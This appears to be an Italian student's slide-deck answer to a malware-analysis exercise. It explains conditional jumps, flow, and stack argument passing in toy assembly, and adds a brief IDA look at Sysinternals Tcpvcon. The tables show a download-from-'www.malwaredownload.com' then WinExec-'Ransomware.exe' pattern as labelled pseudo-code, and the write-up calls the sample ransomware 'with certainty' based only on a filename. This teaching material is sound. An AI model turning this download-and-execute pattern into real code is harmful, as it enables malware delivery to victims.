

ANALISI AVANZATE: UN APPROCCIO PRATICO



CODICE

TABELLA 2

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile ()	; pseudo funzione

TABELLA 1

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

TABELLA 3

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings \Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione



QUESITI

(1) Salti Condizionali

(2) Diagramma del Flusso

(3) Diverse Funzionalità del
Malware.

(4) Passaggi degli Argomenti
alle Chiamate di Funzione.



1

Spiegate, motivando, quale salto condizionale effettua il Malware.

Il codice contiene due salti condizionali:

Il primo salto condizionale è un jnz (jump if not zero) alla locazione 0040105B. Questo salto viene effettuato se il confronto tra "EAX" e "5" non è zero.

Nel nostro caso nel registro EAX è stato impostato il valore 5 quindi **il salto non avviene**.

Approfondimento sul salto condizionale:

Prima dell'istruzione jnz alla locazione 0040105B troviamo l'istruzione cmp EAX,5 alla locazione 00401048. L'istruzione "cmp" è utilizzata per confrontare due operandi, funziona in modo simile a una sottrazione tra i due operandi, ma il risultato non viene memorizzato; invece, i flag della CPU vengono aggiornati in base al risultato della sottrazione. Ed è proprio in base a questi flag, in particolare mi riferisco alla ZF (flag Zero) che l'istruzione "jnz" determina se effettuare o meno il salto.

Il secondo salto condizionale è un jz (jump if zero) alla locazione 00401068, preceduto dall'istruzione cmp EBX,11. Questo salto viene effettuato se il confronto tra "EBX" e "11" è zero.

Nel nostro caso nel registro EBX è stato impostato il valore 10 quindi il salto non avverrebbe, ma prima di confrontare "EBX" e "11" c'è l'istruzione "inc" che va ad incrementare "EBX" (Passando da 10 a 11) quindi **il salto avviene**.

2

Disegnare un diagramma di flusso (prendete come esempio la visualizzazione grafica di IDA) identificando i salti condizionali (sia quelli effettuati che quelli non effettuati).

Indicate con una linea verde i salti effettuati, mentre con una linea rossa i salti non effettuati.

Riporto di seguito un diagramma di flusso del codice con i salti condizionali identificati.

Le linee verdi rappresentano i salti effettuati, mentre le linee rosse rappresentano i salti non effettuati.

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2



Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile ()	; pseudo funzione

Locazione	Istruzione	Operandi	Note
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3



Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings \Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione



Quali sono le diverse funzionalità implementate all'interno del Malware?

Il malware implementa le seguenti funzionalità:

- Download di file da un URL specificato:** Il codice nella Tabella 2 mostra che viene assegnato il valore dell'URL (www.malwaredownload.com) nel registro EAX e poi viene chiamata la funzione **DownloadToFile()**, che scarica un file da quell'URL.
- Esecuzione di un file scaricato:** Il codice nella Tabella 3 mostra che viene assegnato un percorso di file (C:\Program and Settings\Local User\Desktop\Ransomware.exe) al registro EDX e poi viene chiamata la funzione **WinExec()**, che esegue il file.

*Considerando ciò possiamo affermare con certezza che il malware in questione si tratta di un **Ransomware** ovvero un genere di malware che critta i file della vittima, rendendoli inaccessibili. I cybercriminali, quindi, richiedono un riscatto in cambio di una chiave di decrittazione, che teoricamente permette alla vittima di recuperare i propri dati.*

4.1

Con riferimento alle istruzioni “call” presenti in tabella 2 e 3, dettagliare come sono passati gli argomenti alle successive chiamate di funzione. Aggiungere eventuali dettagli tecnici/teorici.

Tabella 2:

Nella funzione DownloadToFile() il valore di EDI

(www.malwaredownload.com)

viene spostato (copiato) in EAX.

Successivamente EAX viene poi spinto (“pushato”) nello stack e diviene argomento della funzione **DownloadToFile()**.

Tabella 3:

Nella funzione WinExec() il valore di EDI

(c:\Program and Settings\Local User\Desktop\Ransomware.exe)

viene spostato in EDX.

Successivamente EDX viene poi spinto nello stack e diviene argomento della funzione **WinExec()**.

4.2

DownloadToFile() non è una funzione predefinita nell'API di Windows, ma è un nome comune per una funzione che scarica un file da una URL e lo salva su disco.

Le sue funzioni principali sono:

-**Connessione al Server:** Stabilisce una connessione con il server web da cui deve essere scaricato il file.

-**Richiesta del File:** Invia una richiesta HTTP GET al server per il file desiderato.

-**Lettura dei Dati:** Legge i dati del file dal server.

-**Scrittura su Disco:** Salva i dati letti in un file locale sul disco.

Come parametri tipici ha:

-**URL:** La URL da cui scaricare il file (es. "http://example.com/file.txt").

-**File Locale:** Il percorso dove salvare il file scaricato (es. "C:\path\to\file.txt").

WinExec() è una funzione API di Windows utilizzata per eseguire un programma specificato. È stata deprecata a favore di **CreateProcess()**, che fornisce un controllo molto più dettagliato sui processi e le loro finestre.

CreateProcess() è preferibile anche perché offre migliori meccanismi di sicurezza e gestione degli errori rispetto a **WinExec()**, ed è meglio evitare **WinExec()** per motivi di compatibilità con le applicazioni moderne.

BONUS: ANALIZZARE IL FILE

C:\Users\user\Desktop\Software Malwareanalysis\SysinternalsSuite\Tcpvcon.exe
con IDA Pro analizzare SOLO la "funzione corrente" una volta aperto IDA.

La funzione corrente la visualizzo con il tasto F12 oppure con il tasto blu indicato nella slide successiva.

Se necessario, reperire altre informazioni con OllyDBG oppure effettuando ulteriori analisi con IDA (o altri software). Mi interessa soltanto il significato/funzionamento/senso di questa parte di codice visualizzato alla pagina successiva.



BONUS

A seguito di una approfondita lettura del codice si evidenziano le chiamate a **TCPView** e **Winsock**.

Funzionalità principali di **TCPView**:

- Visualizzazione delle Connessioni**
- Monitoraggio in Tempo Reale**
- Diagnosi e Risoluzione dei Problemi**

Funzionalità principali di **WinSock**:

- Gestione della Rete**
- Inizializzazione e Configurazione**

Grazie a TCPView si riesce a monitorare e gestire le connessioni di rete in tempo reale rendendolo un ottimo strumento di diagnostica, mentre WinSock è un' API che fornisce alle applicazioni Windows i mezzi per interagire con le reti tramite protocolli di comunicazione standard.

Il programma inoltre in caso di eventuali errori si occupa di riportare messaggi appropriati e terminare l'esecuzione.



THANK
YOU

